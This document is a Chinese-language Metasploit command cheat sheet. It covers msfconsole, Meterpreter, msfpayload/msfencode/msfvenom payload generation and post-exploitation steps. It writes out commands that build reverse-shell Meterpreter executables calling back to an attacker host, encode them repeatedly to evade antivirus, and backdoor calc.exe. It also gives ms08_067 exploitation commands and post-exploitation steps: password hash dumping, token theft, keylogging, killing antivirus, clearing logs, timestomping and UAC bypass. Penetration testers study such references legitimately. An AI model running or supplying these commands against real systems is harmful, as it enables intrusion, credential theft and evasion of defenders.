目录
- 一、MSF终端命令
- 0x001、数据库初始化
- 0x002、启动msf
- 0x003、connect
- 0x004、show
- 0x005、search
- 0x006、use命令
- 0x007、msf反弹shell后的乱码问题
- 0x008、hosts
- 0x009、services
- 0x010、更多MSF终端命令
- 二、Meterpreter命令
- 三、MSF payload命令
- 四、MSFencode命令
- 五、MSFcli命令
- 六、Metasploit高级忍术
- 七、MSFvenom
- 八、Meterpreter后渗透攻击阶段命令
一、MSF终端命令
0x001、数据库初始化
初始化msf 数据库一系列操作
msfdb init
msfdb start
msfdb reinit 数据库重置,将所有数据全部清空
0x002、启动msf
msfconsole
0x003、connect
msf5 > connect 192.168.226.131 80
提交一个get请求,可以查看到服务器的版本信息
0x004、show
msf5 > show all 列出全部模块
msf5 > show exploits 列出渗透模块
msf5 > show payloads 列出攻击载荷模块
msf5 > show auxiliary 列出辅助模块(用来验证目标是否存在漏洞)
0x005、search
msf5 > search mysql 查找mysql相关模块
msf5 > search name:mysql 精确搜索使用name
msf5 > search path:mysql 通过路径进行搜索
msf5 > search platform:mysql 搜索更好更精确的方法
msf5 > search type:exploit 指定类型搜索模块 type:特定类型模块(exploit,payload,auxiliary,encoder,evasion,post,or nop)
msf5 > search type:exploit name:mysql 混合查找
msf5 > search cve:CVE-2017 根据CVE搜索exploit模块
msf5 > search cve:2018 name:linux 查找2018年的linux渗透漏洞模块
模块字段说明
字段 | 解释 |
Name | 漏洞名称 |
Disclosure Date | 漏洞发布日期 |
Rank | 对目标系统的潜在影响都标记了一个Rank字段,可以基于Rank对漏洞模块进行搜索,分类及排序 |
Check | 检查 |
Description | 说明 |
Rank标识 | 解释 |
excellent | 漏洞不会对让目标崩溃。没有破坏性,最好的级别 |
grant | 漏洞利用程序有一个默认的目标系统 |
good | 漏洞利用程序有一个默认的目标系统,软件类型的常见情况,(Win7,2012) |
normal | 漏洞利用程序是可靠的,但是依赖特别版本,无法自动检测 |
average | 漏洞不可靠 |
low | 垃圾,不稳定低于50%的成功率 |
manual | 不稳定 |
0x006、use命令
加载使用模块的命令
语法 use [模块名]
1、找到ms_08_067模块
msf5 > search ms08_067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
2、装载ms08_067模块
msf5 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) >
3、退出模块
msf5 exploit(windows/smb/ms08_067_netapi) > back
msf5 >
4、查看模块配置信息
msf5 > use exploit/windows/smb/ms08_067_netapi
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > info
msf5 exploit(windows/smb/ms08_067_netapi) > show options
0x007、msf反弹shell后的乱码问题
chcp 65001
0x008、hosts
hosts列出所有渗透过的主机记录
hosts -h 查看所有字段
hosts -c address,name 查看指定字段
0x009、services
查看我们渗透过的主机开放了哪些服务
services -R 192.168.226.130 查看指定主机开放了什么服务
0x010、更多MSF终端命令
show exploits 列出metasploit框架中所有的渗透攻击模块
show payloads 列出metasploit框架中所有的攻击载荷
show auxiliary 列出metasploit框架中所有的辅助攻击模块
search name 查找metasploit框架中渗透攻击或者其他模块
info 展示出制定渗透攻击或模块的相关信息
use name 装载一个渗透攻击或模块
LHOST 本地可以让目标主机链接的IP地址,如果目标主机和自己不在同一个局域网内时,就需要你的公共IP地址,特别为反弹式shell使用
RHOST 远程主机或目标主机
set function 设置配置参数
setg function 以全局方式设置特定的配置参数
show options 列出某个渗透攻击或模块中所有的配置参数
show targets 列出渗透攻击所支持的目标平台
set target num 指定你所知道的目标的操作系统以及补丁版本类型
set PAYLOAD payload 指定想要使用的攻击载荷
show advanced 列出高级选项
set autorunscript migrate -f 在渗透攻击完成后,将自动迁移到另一个进程
check 检测目标是否对选定渗透攻击存在相应安全漏洞
exploit 执行渗透攻击或模块来攻击目标
exploit -j 后台进行攻击目标
exploit -z 渗透攻击成功后不与会话进行交互
exploit -e enconder 制定使用的攻击载荷编码方式(例如:exploit -e shikata_ga_nai)
exploit -h 列出exploit命令的帮助信息
sessions -l 列出可用的交互会话
sessions -l -v 列出可用的交互会话,以及会话的详细信息,例如:攻击系统时使用了哪个安全漏洞
sessions -s script 在所有活跃的Meterpreter会话中运行一个特定的Meterpreter脚本
sessions -K 杀死所有活跃的交互会话
sessions -c cmd 在所有活跃的Meterpreter会话上执行一个命令
sessions -u sessionID 升级一个普通的win 32 shell到Meterpreter shell
数据库后端命令
=========================
命 令 描 述
------- -----------
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
导出扫描结果
msf auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak/xml
注意:导出只支持两种格式:xml和pwddump
creds
列出保存在数据库中的所有凭证
导入扫描结果
msf > db_import /root/bak.xml
二、Meterpreter命令
help 打开使用帮助
run scriptname 运行Meterpreter脚本,在scripts/meterpreter目录下查看所有脚本名
sysinfo 列出受控主机的系统信息
ls 列出主机的文件和文件夹信息
use priv 加载特权提升拓展模块,来扩展Meterpreter库
ps 显示所有运行进程以及关联的用户账户
migrate PID 迁移到一个指定的进程ID(PID号可通过ps命令从目标主机上获得)
use incognito 加载incognito功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -g 列出目标主机用户的可用令牌
list_tokens -g 列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌
steal_token PID 盗窃给定进程的可用令牌并进行令牌假冒
drop_token 停止假冒当前令牌
getsystem 通过各种攻击向量来提升系统用户权限
shell 以所有可用令牌来运行一个交互的shell
execute -f cmd.exe -i 执行cmd.exe命令并进行交互
execute -f cmd.exe -i -t 以所有可用令牌来执行cmd命令
execute -f cmd.exe -i -H -t 以所有可用令牌来执行cmd命令,并隐藏该进程
rev2self 回到控制目标主机的初始用户账户下
reg command 在目标主机注册表中进行交互,创建,删除,查询等操作
setdesktop number 切换到另一个用户界面
screenshot 截屏
upload file 向目标主机上传文件
download file 从目标主机上下载文件
keyscan_start 针对远程目标主机开启键盘记录功能
keyscan_dump 存储目标主机上捕获的键盘记录
keyscan_stop 停止针对目标主机的键盘记录
getprivs 尽可能多的获取目标主机上的特权
uictl enable keyboard/mouse 接管目标主机的键盘和鼠标
background 将你当前的Meterpreter shell转为后台执行
hashdump 导出目标主机中的口令哈希值
use sniffer 加载嗅探模块
sniffer_interfaces 列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname 在目标主机上启动嗅探
sniffer_start interfaceID pcaket-buffer 在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 在远程目标主机上添加一个用户
add_group_user "Domain Admins" username -h ip 将用户添加到目标主机的域管理员组中
clearv 清除目标主机上的日志记录
timestomp 修改文件属性,例如修改文件的创建时间(反取证调查)
reboot 重启目标主机
三、MSF payload命令
msfpayload -h MSFpayload的帮助信息
msfpayload windows/meterpreter/bind_tcp O 列出攻击载荷的配置项(任何攻击载荷都可以配置)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe 创建一个Meterpreter的reverse_tcp攻击载荷,回连到192.168.1.5的443端口,将其保存为payload.exe的Windows可执行程序
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw 生成原始格式的文件,该文件将在MSFencode中使用。
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 C > payload.c 生成C格式的shellcode
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 J > payload.java 生成以%u编码方式的JavaScript语言字符串
四、MSFencode命令
msfencode -h 帮助信息
msfencode -l 列出所有可用的编码器
msfencode -t (c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho) 显示编码缓冲区的格式
msfencode -i payload.raw -o encoded_payload.exe -e -x86/shikata_ga_nai -c 5 -t exe 使用shikata_ga_nai编码器对payload.raw文件进行5次编码,然后导出一encoded_payload.exe文件
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c -5 -t raw | msfencode -e x86/shikata_ga_nai -c -5 -t exe -o multi-encoded_payload.exe 创建一个经过多种编码格式嵌套编码的攻击载荷
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c 创建一个纯字母数字的shellcode,由ESI寄存器指向shellcode,以c语言格式输出。
五、MSFcli命令
msfcli | grep exploit 仅列出渗透攻击模块
msfcli | grep exploit/windows 仅列出与windows相关的渗透攻击模块
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E 对172.16.32.142发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在443端口进行监听
六、Metasploit高级忍术
## 创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
## 创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后也不会在目标主机上弹出任何信息。这种配置非常有效,当你利用浏览器漏洞控制了远程主机,并不想让计算器程序打开呈现在目标用户面前。同样,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
## 创建一个raw格式的bind_tcp模式的Meterpreter攻击载荷,编码7次,输出payload.exe,同时开启多路监听方式
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -x calc.exe -k- -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
七、MSFvenom
## 创建和编码攻击载荷
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=172.14.1.32 LPORT=443 > msf.exe
八、Meterpreter后渗透攻击阶段命令
## 在windows主机上提权
meterpreter > use priv
meterpreter > getsystem
## 在一个给定的进程ID中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到域管理员组中
meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell
## 从SAM数据库中导出密码的哈希值
meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump
提示:在windows8中,若getsystem命令和hashdump命令抛出异常,则需要迁移到一个以system系统权限运行的程序中
## 自动迁移到一个独立进程
meterpreter > run migrate
## 通过Meterpreter的killav脚本杀死目标主机上运行的杀毒软件进程
meterpreter > run killav
## 针对一个特定的进程捕获目标主机上的键盘记录
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
## 使用匿名方式来冒充管理员
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token INAZSEURITY\\Adminstrator
## 查看目标主机上采取了哪些防护措施,列出帮助菜单,关闭防火墙以及其他我们发现的防护措施
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
## 识别被控制的主机是否为虚拟机
meterpreter > run checkvm
## 在Meterpreter会话中使用shell
meterpreter > shell
## 获取目标主机的图形界面
meterpreter > run vnc
## 使正在运行的Meterpreter界面在后台运行
meterpreter > backgroud
## 绕过windows用户账户控制UAC机制
meterpreter > run post/windows/escalate/bypassuac
## 导出os-x系统口令哈希值
meterpreter > run post/osx/gather/hashdump
## 导出linux系统口令哈希值
meterpreter > run post/linux/gather/hashdump